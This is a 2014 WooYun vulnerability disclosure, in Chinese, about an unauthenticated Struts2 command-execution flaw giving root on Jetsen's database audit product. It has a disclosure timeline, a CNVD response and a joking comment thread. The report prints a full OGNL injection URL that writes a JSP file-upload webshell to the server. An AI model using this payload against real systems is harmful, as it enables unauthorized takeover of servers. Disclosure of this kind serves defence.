当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-063674

漏洞标题：捷成数据库审计系统命令执行（root权限）

相关厂商：北京捷成世纪科技股份有限公司

漏洞作者： 路人甲

提交时间：2014-06-05 16:49

修复时间：2014-09-03 16:50

公开时间：2014-09-03 16:50

漏洞类型：命令执行

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-05： 细节已通知厂商并且等待厂商处理中
2014-06-10： 厂商已经确认，细节仅向厂商公开
2014-06-13： 细节向第三方安全合作伙伴开放
2014-08-04： 细节向核心白帽子及相关领域专家公开
2014-08-14： 细节向普通白帽子公开
2014-08-24： 细节向实习白帽子公开
2014-09-03： 细节向公众公开

简要描述：

RT!

详细说明：

我想说：存在struts2漏洞,root权限，无需登录。

QQ图片20140605163026.jpg


登录提交的链接为：https://x.x.x.x/jddba/login/check.action

id  --->  root


QQ图片20140605163224.jpg


获取网站路径 ---> /usr/local/tomcat6/webapps/jddba/


QQ图片20140605163638.jpg


成功写入文件：
https://x.x.x.x/jddba/login/check.action?redirect:${ 
%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'), 
%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"), 
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close() 
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e


QQ图片20140605164010.jpg


最终获取webshell：


QQ图片20140605164335.jpg


QQ图片20140605164522.jpg


我还想说：先就这样吧，厂商请及时更新产品。

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-06-10 15:48

厂商回复：

CNVD确认所述情况（未进行实例复现，根据图片先行确认），已经由CNVD通过公开联系渠道向生产厂商捷成世纪公司通报，发给jetsen ，抄报给zhujiaxue 。按通用软件衍生漏洞进行评分，rank 12

最新状态：

暂无

漏洞评价：

评论

  1. 2014-06-05 17:33 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1425 漏洞数:182 | 没有最专业的农民,只有更努力地耕耘..........)

    别以为你穿了马甲我就不认识你。

  2. 2014-06-05 17:35 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    别以为你穿了马甲我就不认识你。

  3. 2014-06-05 17:36 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    其实我知道是谁，点击右边感谢就告诉你们答案~~

  4. 2014-06-05 17:36 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    我去，右边怎么会没感谢呢？？

  5. 2014-06-05 20:05 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1425 漏洞数:182 | 没有最专业的农民,只有更努力地耕耘..........)

    @鬼魅羊羔 哈哈，你以为是在zone。

  6. 2014-06-05 23:28 | 大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )

    @鬼魅羊羔 以点感谢骚年，告诉我是谁

  7. 2014-06-06 08:43 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @大白菜 你不要骗我，你没有点感谢~~~%>_<%

  8. 2014-06-06 10:34 | 不良小狼 ( 实习白帽子 | Rank:33 漏洞数:5 | 路人乙)

    官网也有sql注入。而且弱口令很多

  9. 2014-06-06 10:56 | cncert国家互联网应急中心(乌云厂商)

    您好！ 感谢您对CNVD的支持，请您提供下测试实例至少2个以便CNVD及时验证、处置。谢谢！ 祝好！

  10. 2014-06-06 11:01 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @cncert国家互联网应急中心 已私信

  11. 2014-06-06 11:13 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1425 漏洞数:182 | 没有最专业的农民,只有更努力地耕耘..........)

    @Coody 是不是谁私信了，漏洞是谁的，那我也私信。

  12. 2014-06-06 11:53 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @专业种田 楼上已经招供，凶手已经找到，该结案了~~

  13. 2014-06-06 11:56 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @专业种田 我知道你知道他是谁，我也知道你知道他知道的一切，因为他把他知道的都告诉了你，而且你也肯定知道了他知道的东西。所以说，你觉得你知道了本来不应该你知道的东西，而我知道了你本来不应该知道的东西，我这么说，不知道你到底知道了没有。

  14. 2014-06-06 12:15 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1425 漏洞数:182 | 没有最专业的农民,只有更努力地耕耘..........)

    @鬼魅羊羔 我知道你说的我也知道你知道他知道的一切，因为他把他知道的都告诉了你，而且你也肯定知道了他知道的东西。所以说，你觉得你知道了本来不应该你知道的东西，而我知道了你本来不应该知道的东西

  15. 2014-07-02 10:59 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    源码呢

  16. 2014-09-03 18:37 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    上源码啊哈